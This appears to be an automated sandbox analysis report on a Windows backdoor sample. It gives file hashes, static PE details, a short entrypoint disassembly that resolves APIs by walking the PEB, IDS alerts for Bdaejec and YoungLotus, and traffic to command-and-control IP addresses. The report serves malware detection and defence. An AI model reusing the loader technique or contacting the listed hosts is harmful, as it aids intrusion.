Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i.....^...^...^.pb^...^.c._...^.c._...^...^c..^.c._...^.c._...^.c._...^.c.^...^.c._...^Rich...^........PE..L...9..j.................b...........a............@..........................@............@.............................................hg...................0..........T........................... ........................m..`....................text...La.......b.................. ..`.data................f..............@....idata...............h..............@..@.didat...............~..............@....rsrc...hg.......h..................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\System32\PerfStringBackup.INI

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	data
Category:	dropped
Size (bytes):	840878
Entropy (8bit):	3.4224066455051885
Encrypted:	false
SSDEEP:	3072:xJQGb/6IPolY/OhyIGmZkzTMWcnqgspmTbQiIJEDc3dv+eBrq2Bw+1wQ5xcEkc7+:01nqgsp2gOKih3
MD5:	D3ED23A3E63ACA8CF656C585568DA6D7
SHA1:	1A499D7E9A030D53B2A4DBD36F6F14B6531A6094
SHA-256:	AE5A6E258A41298BE6CF2B3DA812E992E1D6A3C7FBC7DD4AA8B413DA850E8B65
SHA-512:	21E2953B0819567865DA9C80A7D07021D7ED48F4BA3CD843C42D13D18E0E8FB27FA2F7C4EC86D4A1F4D887146F0F7E9E05B6A53D85398EA43240C2E180D52E00
Malicious:	false
Preview:	........[.P.e.r.f.l.i.b.].....B.a.s.e. .I.n.d.e.x.=.1.8.4.7.....L.a.s.t. .C.o.u.n.t.e.r.=.1.0.1.2.2.....L.a.s.t. .H.e.l.p.=.1.0.1.2.3.........[.P.E.R.F._...N.E.T. .C.L.R. .D.a.t.a.].....F.i.r.s.t. .C.o.u.n.t.e.r.=.6.8.4.0.....F.i.r.s.t. .H.e.l.p.=.6.8.4.1.....L.a.s.t. .C.o.u.n.t.e.r.=.6.8.5.2.....L.a.s.t. .H.e.l.p.=.6.8.5.3.........[.P.E.R.F._...N.E.T. .C.L.R. .N.e.t.w.o.r.k.i.n.g.].....F.i.r.s.t. .C.o.u.n.t.e.r.=.6.8.2.8.....F.i.r.s.t. .H.e.l.p.=.6.8.2.9.....L.a.s.t. .C.o.u.n.t.e.r.=.6.8.3.8.....L.a.s.t. .H.e.l.p.=.6.8.3.9.........[.P.E.R.F._...N.E.T. .C.L.R. .N.e.t.w.o.r.k.i.n.g. .4...0...0...0.].....F.i.r.s.t. .C.o.u.n.t.e.r.=.6.9.0.0.....F.i.r.s.t. .H.e.l.p.=.6.9.0.1.....L.a.s.t. .C.o.u.n.t.e.r.=.6.9.2.6.....L.a.s.t. .H.e.l.p.=.6.9.2.7.........[.P.E.R.F._...N.E.T. .D.a.t.a. .P.r.o.v.i.d.e.r. .f.o.r. .O.r.a.c.l.e.].....F.i.r.s.t. .C.o.u.n.t.e.r.=.8.9.1.6.....F.i.r.s.t. .H.e.l.p.=.8.9.1.7.....L.a.s.t. .C.o.u.n.t.e.r.=.8.9.4.4.....L.a.s.t. .H.e.l.p.=.8.9.4.5.........[.P.E.R.F._...N.E.

C:\Windows\System32\PerfStringBackup.TMP

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	data
Category:	dropped
Size (bytes):	840878
Entropy (8bit):	3.4224066455051885
Encrypted:	false
SSDEEP:	3072:xJQGb/6IPolY/OhyIGmZkzTMWcnqgspmTbQiIJEDc3dv+eBrq2Bw+1wQ5xcEkc7+:01nqgsp2gOKih3
MD5:	D3ED23A3E63ACA8CF656C585568DA6D7
SHA1:	1A499D7E9A030D53B2A4DBD36F6F14B6531A6094
SHA-256:	AE5A6E258A41298BE6CF2B3DA812E992E1D6A3C7FBC7DD4AA8B413DA850E8B65
SHA-512:	21E2953B0819567865DA9C80A7D07021D7ED48F4BA3CD843C42D13D18E0E8FB27FA2F7C4EC86D4A1F4D887146F0F7E9E05B6A53D85398EA43240C2E180D52E00
Malicious:	false
Preview:	........[.P.e.r.f.l.i.b.].....B.a.s.e. .I.n.d.e.x.=.1.8.4.7.....L.a.s.t. .C.o.u.n.t.e.r.=.1.0.1.2.2.....L.a.s.t. .H.e.l.p.=.1.0.1.2.3.........[.P.E.R.F._...N.E.T. .C.L.R. .D.a.t.a.].....F.i.r.s.t. .C.o.u.n.t.e.r.=.6.8.4.0.....F.i.r.s.t. .H.e.l.p.=.6.8.4.1.....L.a.s.t. .C.o.u.n.t.e.r.=.6.8.5.2.....L.a.s.t. .H.e.l.p.=.6.8.5.3.........[.P.E.R.F._...N.E.T. .C.L.R. .N.e.t.w.o.r.k.i.n.g.].....F.i.r.s.t. .C.o.u.n.t.e.r.=.6.8.2.8.....F.i.r.s.t. .H.e.l.p.=.6.8.2.9.....L.a.s.t. .C.o.u.n.t.e.r.=.6.8.3.8.....L.a.s.t. .H.e.l.p.=.6.8.3.9.........[.P.E.R.F._...N.E.T. .C.L.R. .N.e.t.w.o.r.k.i.n.g. .4...0...0...0.].....F.i.r.s.t. .C.o.u.n.t.e.r.=.6.9.0.0.....F.i.r.s.t. .H.e.l.p.=.6.9.0.1.....L.a.s.t. .C.o.u.n.t.e.r.=.6.9.2.6.....L.a.s.t. .H.e.l.p.=.6.9.2.7.........[.P.E.R.F._...N.E.T. .D.a.t.a. .P.r.o.v.i.d.e.r. .f.o.r. .O.r.a.c.l.e.].....F.i.r.s.t. .C.o.u.n.t.e.r.=.8.9.1.6.....F.i.r.s.t. .H.e.l.p.=.8.9.1.7.....L.a.s.t. .C.o.u.n.t.e.r.=.8.9.4.4.....L.a.s.t. .H.e.l.p.=.8.9.4.5.........[.P.E.R.F._...N.E.

C:\Windows\System32\perfc009.dat

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	data
Category:	dropped
Size (bytes):	137550
Entropy (8bit):	3.409189992022338
Encrypted:	false
SSDEEP:	1536:X1i4nfw8ld9+mRDaUR28oV7TYfXLi7NwrgSwNu56FRtg:XBnfw8ld9+mRDaUR28oV7TY+7S0ba
MD5:	084B771A167854C5B38E25D4E199B637
SHA1:	AE6D36D4EC5A9E515E8735525BD80C96AC0F8122
SHA-256:	B3CF0050FAF325C36535D665C24411F3877E3667904DFE9D8A1C802ED4BCD56D
SHA-512:	426C15923F54EC93F22D9523B5CB6D326F727A34F5FF2BDE63D1CB3AD97CAB7E5B2ABABBC6ED5082B5E3140E9342A4E6F354359357A3F9AEF285278CB38A5835
Malicious:	false
Preview:	1...1.8.4.7...2...S.y.s.t.e.m...4...M.e.m.o.r.y...6...%. .P.r.o.c.e.s.s.o.r. .T.i.m.e...1.0...F.i.l.e. .R.e.a.d. .O.p.e.r.a.t.i.o.n.s./.s.e.c...1.2...F.i.l.e. .W.r.i.t.e. .O.p.e.r.a.t.i.o.n.s./.s.e.c...1.4...F.i.l.e. .C.o.n.t.r.o.l. .O.p.e.r.a.t.i.o.n.s./.s.e.c...1.6...F.i.l.e. .R.e.a.d. .B.y.t.e.s./.s.e.c...1.8...F.i.l.e. .W.r.i.t.e. .B.y.t.e.s./.s.e.c...2.0...F.i.l.e. .C.o.n.t.r.o.l. .B.y.t.e.s./.s.e.c...2.4...A.v.a.i.l.a.b.l.e. .B.y.t.e.s...2.6...C.o.m.m.i.t.t.e.d. .B.y.t.e.s...2.8...P.a.g.e. .F.a.u.l.t.s./.s.e.c...3.0...C.o.m.m.i.t. .L.i.m.i.t...3.2...W.r.i.t.e. .C.o.p.i.e.s./.s.e.c...3.4...T.r.a.n.s.i.t.i.o.n. .F.a.u.l.t.s./.s.e.c...3.6...C.a.c.h.e. .F.a.u.l.t.s./.s.e.c...3.8...D.e.m.a.n.d. .Z.e.r.o. .F.a.u.l.t.s./.s.e.c...4.0...P.a.g.e.s./.s.e.c...4.2...P.a.g.e. .R.e.a.d.s./.s.e.c...4.4...P.r.o.c.e.s.s.o.r. .Q.u.e.u.e. .L.e.n.g.t.h...4.6...T.h.r.e.a.d. .S.t.a.t.e...4.8...P.a.g.e.s. .O.u.t.p.u.t./.s.e.c...5.0...P.a.g.e. .W.r.i.t.e.s./.s.e.c...5.2...B.r.o.w.s.e.r...5.4...A.n.n.o.u.

C:\Windows\System32\perfh009.dat

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	data
Category:	dropped
Size (bytes):	715050
Entropy (8bit):	3.278818886805871
Encrypted:	false
SSDEEP:	3072:NUdGNuowE4j0PrRZnpETMDZ8M6d0PHHx643/A5BK9YXdhPHlVziwC4ALWI1dnmRh:78M6d0w+WB6I
MD5:	342BC94F85E143BE85B5B997163A0BB3
SHA1:	8780CD88D169AE88C843E19239D9A32625F6A73E
SHA-256:	F7D40B4FADA44B2A5231780F99C3CE784BCF33866B59D5EB767EEA8E532AD2C4
SHA-512:	0A4ED9104CAFCE95E204B5505181816E7AA7941DED2694FF75EFABAAB821BF0F0FE5B32261ED213C710250B7845255F4E317D86A3A6D4C2C21F866207233C57E
Malicious:	false
Preview:	3...T.h.e. .S.y.s.t.e.m. .p.e.r.f.o.r.m.a.n.c.e. .o.b.j.e.c.t. .c.o.n.s.i.s.t.s. .o.f. .c.o.u.n.t.e.r.s. .t.h.a.t. .a.p.p.l.y. .t.o. .m.o.r.e. .t.h.a.n. .o.n.e. .i.n.s.t.a.n.c.e. .o.f. .a. .c.o.m.p.o.n.e.n.t. .p.r.o.c.e.s.s.o.r.s. .o.n. .t.h.e. .c.o.m.p.u.t.e.r.....5...T.h.e. .M.e.m.o.r.y. .p.e.r.f.o.r.m.a.n.c.e. .o.b.j.e.c.t. . .c.o.n.s.i.s.t.s. .o.f. .c.o.u.n.t.e.r.s. .t.h.a.t. .d.e.s.c.r.i.b.e. .t.h.e. .b.e.h.a.v.i.o.r. .o.f. .p.h.y.s.i.c.a.l. .a.n.d. .v.i.r.t.u.a.l. .m.e.m.o.r.y. .o.n. .t.h.e. .c.o.m.p.u.t.e.r... . .P.h.y.s.i.c.a.l. .m.e.m.o.r.y. .i.s. .t.h.e. .a.m.o.u.n.t. .o.f. .r.a.n.d.o.m. .a.c.c.e.s.s. .m.e.m.o.r.y. .o.n. .t.h.e. .c.o.m.p.u.t.e.r... . .V.i.r.t.u.a.l. .m.e.m.o.r.y. .c.o.n.s.i.s.t.s. .o.f. .t.h.e. .s.p.a.c.e. .i.n. .p.h.y.s.i.c.a.l. .m.e.m.o.r.y. .a.n.d. .o.n. .d.i.s.k... . .M.a.n.y. .o.f. .t.h.e. .m.e.m.o.r.y. .c.o.u.n.t.e.r.s. .m.o.n.i.t.o.r. .p.a.g.i.n.g.,. .w.h.i.c.h. .i.s. .t.h.e. .m.o.v.e.m.e.n.t. .o.f. .p.a.g.e.s. .o.f. .c.o.d.e. .a.n.d. .d.a.t.a. .b.e.t.

C:\Windows\System32\wbem\Performance\WmiApRpl_new.h

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3444
Entropy (8bit):	5.011954215267298
Encrypted:	false
SSDEEP:	48:ADPo+gDMIuK54DeHNg9dqbEzCJGGgGDU3XgLBgaGKFijiVJtVAAF/XRgW:ADw+gDMhK54qHC7aBvGKFijiV7XRgW
MD5:	B133A676D139032A27DE3D9619E70091
SHA1:	1248AA89938A13640252A79113930EDE2F26F1FA
SHA-256:	AE2B6236D3EEB4822835714AE9444E5DCD21BC60F7A909F2962C43BC743C7B15
SHA-512:	C6B99E13D854CE7A6874497473614EE4BD81C490802783DB1349AB851CD80D1DC06DF8C1F6E434ABA873A5BBF6125CC64104709064E19A9DC1C66DCDE3F898F5
Malicious:	false
Preview:	//////////////////////////////////////////////////////////////////////////////////////////////..//..// Copyright (C) 2000 Microsoft Corporation..//..// Module Name:..// WmiApRpl..//..// Abstract:..//..// Include file for object and counters definitions...//..//////////////////////////////////////////////////////////////////////////////////////////////......#define.WMI_Objects.0..#define.HiPerf_Classes.2..#define.HiPerf_Validity.4....#define.MSiSCSI_ConnectionStatistics_00000.6....#define.BytesReceived_00000.8..#define.BytesSent_00000.10..#define.PDUCommandsSent_00000.12..#define.PDUResponsesReceived_00000.14....#define.MSiSCSI_InitiatorInstanceStatistics_00001.16....#define.SessionConnectionTimeoutErrorCount_00001.18..#define.SessionDigestErrorCount_00001.20..#define.SessionFailureCount_00001.22..#define.SessionFormatErrorCount_00001.24....#define.MSiSCSI_InitiatorLoginStatistics_00002.26....#define.LoginAcceptRsps_00002.28..#define.LoginAuthenticateFails_00002.30..#define.LoginAuthFai

C:\Windows\System32\wbem\Performance\WmiApRpl_new.ini

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (405), with CRLF line terminators
Category:	dropped
Size (bytes):	48786
Entropy (8bit):	3.5854495362228453
Encrypted:	false
SSDEEP:	384:esozoNc1+12zG1+b61ubSGMLVrj4+PtC81ZBg4Lg4ung4og4uo91K91zI91K91z2:esozozBg4Lg4ung4og4uWG4MG4o1
MD5:	DF877BEC5C9E3382E94FEA48FEE049AC
SHA1:	1D61436C8A1C057C1B1089EB794D90EE4B0D8FE9
SHA-256:	7F0F3FA64E41A30BACA377B6399F8F7087BC54DA9FCA876BFDC2C2EEECA8454B
SHA-512:	433CB16EBE2292CB60CB8CE71207EBB752295FB73E6D13E215E771EC5FC433EE29577AF28641255810C18078B95F04A9D37734B6F49CB6A6302821E365672205
Malicious:	false
Preview:	.././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././....././....././. .C.o.p.y.r.i.g.h.t. .(.C.). .2.0.0.0. .M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....././....././. .M.o.d.u.l.e. .N.a.m.e.:....././. .W.m.i.A.p.R.p.l....././....././. .A.b.s.t.r.a.c.t.:....././....././. .D.e.s.c.r.i.b.e.s. .a.l.l. .t.h.e. .c.o.u.n.t.e.r.s. .s.u.p.p.o.r.t.e.d. .v.i.a. .W.M.I. .H.i.-.P.e.r.f.o.r.m.a.n.c.e. .p.r.o.v.i.d.e.r.s....././....././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.............[.i.n.f.o.].....d.r.i.v.e.r.n.a.m.e.=.W.m.i.A.p.R.p.l.....s.y.m.b.o.l.f.i.l.e.=.W.m.i.A.p.R.p.l...h.........[.l.a.n.g.u.a.g.e.s.].....0.0.9.=.E.n.g.l.i.s.h.....0.0.9.=.E.n.g.l.i.s.h.........[.o.b.j.e.c.t.s.].....W.M.I._.O.b.j.e.c.t.s._.0.0.

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465989311726786
Encrypted:	false
SSDEEP:	6144:zIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNOdwBCswSbn:kXD94+WlLZMM6YFHE+n
MD5:	25261D3F857EF0D116461DEBDCC93547
SHA1:	324A6B84B8934EFDAA000DC83FED7F971BCCB200
SHA-256:	A64C9C3EC478670517DE98DC60C017626CBF51FE35398ACB074941C9E3E52032
SHA-512:	1E70E8A570213FE60B81151896D61D063D773CDDBC2D042E65B55D46058918D9A5D0715A172447DBE88473B9EE08A0CA431452A069C4D029264C8D1B9E5DC10E
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmVt4,.)...............................................................................................................................................................................................................................................................................................................................................7".........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\system32\wbem\Performance\WmiApRpl.h (copy)

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3444
Entropy (8bit):	5.011954215267298
Encrypted:	false
SSDEEP:	48:ADPo+gDMIuK54DeHNg9dqbEzCJGGgGDU3XgLBgaGKFijiVJtVAAF/XRgW:ADw+gDMhK54qHC7aBvGKFijiV7XRgW
MD5:	B133A676D139032A27DE3D9619E70091
SHA1:	1248AA89938A13640252A79113930EDE2F26F1FA
SHA-256:	AE2B6236D3EEB4822835714AE9444E5DCD21BC60F7A909F2962C43BC743C7B15
SHA-512:	C6B99E13D854CE7A6874497473614EE4BD81C490802783DB1349AB851CD80D1DC06DF8C1F6E434ABA873A5BBF6125CC64104709064E19A9DC1C66DCDE3F898F5
Malicious:	false
Preview:	//////////////////////////////////////////////////////////////////////////////////////////////..//..// Copyright (C) 2000 Microsoft Corporation..//..// Module Name:..// WmiApRpl..//..// Abstract:..//..// Include file for object and counters definitions...//..//////////////////////////////////////////////////////////////////////////////////////////////......#define.WMI_Objects.0..#define.HiPerf_Classes.2..#define.HiPerf_Validity.4....#define.MSiSCSI_ConnectionStatistics_00000.6....#define.BytesReceived_00000.8..#define.BytesSent_00000.10..#define.PDUCommandsSent_00000.12..#define.PDUResponsesReceived_00000.14....#define.MSiSCSI_InitiatorInstanceStatistics_00001.16....#define.SessionConnectionTimeoutErrorCount_00001.18..#define.SessionDigestErrorCount_00001.20..#define.SessionFailureCount_00001.22..#define.SessionFormatErrorCount_00001.24....#define.MSiSCSI_InitiatorLoginStatistics_00002.26....#define.LoginAcceptRsps_00002.28..#define.LoginAuthenticateFails_00002.30..#define.LoginAuthFai

C:\Windows\system32\wbem\Performance\WmiApRpl.ini (copy)

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (405), with CRLF line terminators
Category:	dropped
Size (bytes):	48786
Entropy (8bit):	3.5854495362228453
Encrypted:	false
SSDEEP:	384:esozoNc1+12zG1+b61ubSGMLVrj4+PtC81ZBg4Lg4ung4og4uo91K91zI91K91z2:esozozBg4Lg4ung4og4uWG4MG4o1
MD5:	DF877BEC5C9E3382E94FEA48FEE049AC
SHA1:	1D61436C8A1C057C1B1089EB794D90EE4B0D8FE9
SHA-256:	7F0F3FA64E41A30BACA377B6399F8F7087BC54DA9FCA876BFDC2C2EEECA8454B
SHA-512:	433CB16EBE2292CB60CB8CE71207EBB752295FB73E6D13E215E771EC5FC433EE29577AF28641255810C18078B95F04A9D37734B6F49CB6A6302821E365672205
Malicious:	false
Preview:	.././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././....././....././. .C.o.p.y.r.i.g.h.t. .(.C.). .2.0.0.0. .M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....././....././. .M.o.d.u.l.e. .N.a.m.e.:....././. .W.m.i.A.p.R.p.l....././....././. .A.b.s.t.r.a.c.t.:....././....././. .D.e.s.c.r.i.b.e.s. .a.l.l. .t.h.e. .c.o.u.n.t.e.r.s. .s.u.p.p.o.r.t.e.d. .v.i.a. .W.M.I. .H.i.-.P.e.r.f.o.r.m.a.n.c.e. .p.r.o.v.i.d.e.r.s....././....././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.............[.i.n.f.o.].....d.r.i.v.e.r.n.a.m.e.=.W.m.i.A.p.R.p.l.....s.y.m.b.o.l.f.i.l.e.=.W.m.i.A.p.R.p.l...h.........[.l.a.n.g.u.a.g.e.s.].....0.0.9.=.E.n.g.l.i.s.h.....0.0.9.=.E.n.g.l.i.s.h.........[.o.b.j.e.c.t.s.].....W.M.I._.O.b.j.e.c.t.s._.0.0.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.561740167718479
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	gE4NVCZDRk.exe
File size:	69'632 bytes
MD5:	02b3757b29002a8fcabd9afaebf1f7d3
SHA1:	cecffd787a418e435a9019211dda54444c2184fd
SHA256:	e909609bcd7d6a217635b372abba6e55d034d2e55712b032844ce28ded020064
SHA512:	fa7312829ddb66c4e3dba341eb45b2625c45060cfb2265a53ddb54595dd28d9245959eee6065b50e58d1908660732785a0430ae9345455d4bbcefd52fc5b015a
SSDEEP:	1536:sb1MsHz3JDwhyWr+N95OTga6S+PGCq2iW7z:XsT3JezcMCSkGCH
TLSH:	35639E01634460F7C686637266F7A21B885A7EB20BB824CFE7E44D0F1CF49D5B83646B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9..tW..tW..tW..h[..tW..{...tW.DhY..tW..k]..tW..kS..tW..RS..tW..tV.[tW..R\..tW..rQ..tW.Rich.tW.........PE..L....w.T...........

File Icon


Icon Hash:	71b018dccec77331

Static PE Info

General

Entrypoint:	0x40c000
Entrypoint Section:	/\|wu>
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x54FD77CC [Mon Mar 9 10:37:00 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	24ffff844f7eed74e1f1064cc9840ba9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 0000016Ch
xor eax, eax
push ebx
push esi
push edi
mov dword ptr [ebp-24h], eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-14h], eax
mov dword ptr [ebp-08h], eax
mov dword ptr [ebp-0Ch], eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-48h], 536B6558h
mov dword ptr [ebp-44h], 652E5475h
mov dword ptr [ebp-40h], 00006578h
mov dword ptr [ebp-3Ch], 00000000h
call 00007F5170BD3AB5h
pop eax
add eax, 00000225h
mov dword ptr [ebp-04h], eax
mov eax, dword ptr fs:[00000030h]
mov dword ptr [ebp-28h], eax
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax], E904C483h
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax+04h], FFFF6661h
mov eax, dword ptr [ebp-28h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+1Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+08h]
mov ecx, dword ptr [eax+3Ch]
mov ecx, dword ptr [ecx+eax+78h]
add ecx, eax
mov edi, dword ptr [ecx+1Ch]
mov ebx, dword ptr [ecx+20h]
mov esi, dword ptr [ecx+24h]
mov ecx, dword ptr [ecx+18h]
add esi, eax
add edi, eax
add ebx, eax
xor edx, edx
mov dword ptr [ebp-30h], esi
mov dword ptr [ebp-1Ch], edx
mov dword ptr [ebp-34h], ecx
cmp edx, dword ptr [ebp-34h]
jnc 00007F5170BD3BFEh
movzx ecx, word ptr [esi+edx*2]
mov edx, dword ptr [ebx+edx*4]
mov esi, dword ptr [edi+ecx*4]
add edx, eax
mov ecx, dword ptr [edx]
add esi, eax
cmp ecx, 4D746547h
jne 00007F5170BD3B04h
cmp dword ptr [edx+04h], 6C75646Fh
jne 00007F5170BD3AFBh

Rich Headers

Programming Language:

[C++] VS98 (6.0) SP6 build 8804
[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa2a0	0x64	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb000	0xa98	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3000	0x280	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1b83	0x2000	af004437d972dc872368f31fffd6aaa6	False	0.4327392578125	data	5.330045711780258	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x3000	0x78b6	0x8000	7670af3ae88481f9995ead7463909f4f	False	0.496185302734375	data	5.753859530710346	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xb000	0xa98	0x1000	c41cc8dcf2debdfbcfbd52158b76ca73	False	0.26123046875	data	2.5169812284194717	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
/\|wu>	0xc000	0x5000	0x5000	b1b31fef029b3b66b3d59ff5e8ac89af	False	0.642529296875	data	6.037548684936156	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xb160	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	Chinese	China	0.33064516129032256
RT_ICON	0xb448	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	Chinese	China	0.4391891891891892
RT_DIALOG	0xb598	0x1c6	data	Chinese	China	0.5682819383259912
RT_GROUP_ICON	0xb570	0x22	data	Chinese	China	1.0
RT_VERSION	0xb760	0x338	data	French	France	0.45024271844660196

Imports

DLL	Import
MFC42.DLL
MSVCRT.dll	_controlfp, __set_app_type, __p__fmode, __p__commode, _adjust_fdiv, __setusermatherr, _initterm, __getmainargs, _acmdln, exit, _XcptFilter, _exit, _onexit, __dllonexit, _except_handler3, memset, __p__pgmptr, sprintf, memcpy, _access, __CxxFrameHandler, strstr, _setmbcp, _mkdir
KERNEL32.dll	CloseHandle, CreateFileA, FreeLibrary, GetTickCount, GetFileAttributesA, ExpandEnvironmentStringsA, GetLastError, GetProcAddress, LoadLibraryA, lstrcpyA, GetCommandLineA, Sleep, lstrcmpiA, SetThreadPriority, GetCurrentThread, SetPriorityClass, GetCurrentProcess, GetModuleHandleA, GetStartupInfoA, WriteFile
USER32.dll	SendMessageA, IsIconic, GetClientRect, EnableWindow, LoadIconA, GetSystemMetrics, wsprintfA, DrawIcon

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
French	France

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T10:58:58.815691+0100	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	1	192.168.2.4	55716	1.1.1.1	53	UDP
2024-10-29T10:58:58.815691+0100	2814897	ETPRO MALWARE W32.YoungLotus Checkin	1	192.168.2.4	49743	119.91.152.151	8321	TCP
2024-10-29T10:58:59.583625+0100	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	1	192.168.2.4	49730	44.221.84.105	799	TCP
2024-10-29T10:59:00.276781+0100	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	1	192.168.2.4	49731	44.221.84.105	799	TCP
2024-10-29T10:59:00.976850+0100	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	1	192.168.2.4	49732	44.221.84.105	799	TCP
2024-10-29T10:59:01.671009+0100	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	1	192.168.2.4	49733	44.221.84.105	799	TCP
2024-10-29T10:59:02.288886+0100	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	1	192.168.2.4	49734	44.221.84.105	799	TCP
2024-10-29T10:59:11.785152+0100	2814897	ETPRO MALWARE W32.YoungLotus Checkin	1	192.168.2.4	49735	119.91.152.151	8321	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 10:58:59.031331062 CET	49730	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:58:59.037146091 CET	799	49730	44.221.84.105	192.168.2.4
Oct 29, 2024 10:58:59.037249088 CET	49730	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:58:59.052006006 CET	49730	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:58:59.057435989 CET	799	49730	44.221.84.105	192.168.2.4
Oct 29, 2024 10:58:59.583529949 CET	799	49730	44.221.84.105	192.168.2.4
Oct 29, 2024 10:58:59.583625078 CET	49730	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:58:59.619582891 CET	799	49730	44.221.84.105	192.168.2.4
Oct 29, 2024 10:58:59.619726896 CET	49730	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:58:59.622030020 CET	49730	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:58:59.627479076 CET	799	49730	44.221.84.105	192.168.2.4
Oct 29, 2024 10:58:59.725558043 CET	49731	799	192.168.2.4	44.221.84.105
